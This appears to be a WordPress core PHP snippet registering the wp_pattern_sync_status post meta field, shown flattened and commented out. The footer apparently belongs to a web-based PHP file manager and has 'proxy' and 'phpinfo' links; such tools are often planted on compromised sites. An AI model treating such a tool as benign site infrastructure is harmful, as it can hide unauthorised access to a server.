Adds `wp_pattern_sync_status` meta field to the wp_block post type so an unsynced option can be added. * * @link https:github.com/WordPress/gutenberg/pull/51144 function wp_create_initial_post_meta() { register_post_meta( 'wp_block', 'wp_pattern_sync_status', array( 'sanitize_callback' => 'sanitize_text_field', 'single' => true, 'type' => 'string', 'show_in_rest' => array( 'schema' => array( 'type' => 'string', 'enum' => array( 'partial', 'unsynced' ), ), ), ) ); } */
| ver. 1.4 |
Github
|
.
| PHP 8.3.23 | Генерация страницы: 0.05 |
proxy
|
phpinfo
|
Настройка